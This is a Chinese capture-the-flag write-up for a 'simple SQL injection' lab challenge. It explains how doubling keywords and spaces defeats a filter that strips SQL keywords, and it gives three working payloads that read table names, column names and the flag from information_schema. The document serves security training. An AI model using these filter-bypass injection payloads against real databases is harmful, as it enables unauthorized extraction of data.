简单的sql注入
题目
通过注入获得flag值(提交格式:flag{})。
解题链接: http://ctf5.shiyanbar.com/423/web/
writeup
参考:http://hebin.me/2017/09/06/%E8%A5%BF%E6%99%AEctf-%E7%AE%80%E5%8D%95%E7%9A%84sql%E6%B3%A8%E5%85%A5/
步骤
首先,爆出表名:
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere '1'='1再爆出列名:
1' unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name='flag再直接看值:
1' unionunion selectselect flag fromfrom flag wherewhere '1'='1探究
输入数值1返回结果:
在输入1'(注意输入法):
可见输入的是字符串类型,并且存在注入点。
由于题目问过滤了什么,干脆将几个关键字一起写出来,输入如下语句:
从id项看出有几个已经被过滤掉了,而且是直接把关键字给去掉,那么可以用类似ab(abc)c来绕过过滤,abc是要绕过的关键字,使用时不加括号,这里加括号只是为了区分.
开始爆表名,在之前应该先猜解union需要的列数,我直接猜的1列:
尴尬了。。几个关键字竟然没有成功绕过,猜想过滤时应该是从单词开始进行匹配的,那么可以尝试将两个同样的关键字首尾连起来测试,并且从返回结果还可以看到where关键字被过滤了(不知道为什么第一步中没被过滤)。
又报错了,但是可以发现几个关键字已经绕过过滤了,但是他们却连在了一起,可能空格已被过滤了,再试试
就是用两个空格代替一个,方法和关键字一样。然后直接返回一大堆结果,可以发现一个特殊的表名
爆出列名:
information_schema.columns 跑哪了?估计被过滤了
结果仍然是刚才的错误警告,不知道后台怎么过滤的,再换一种ab(abc)c形式的过滤
这下有点懵了,这会是什么错误?想了半天,可能是把column_name也给过滤了吧:
找到特殊列flag
直接查询flag:
Last updated
Was this helpful?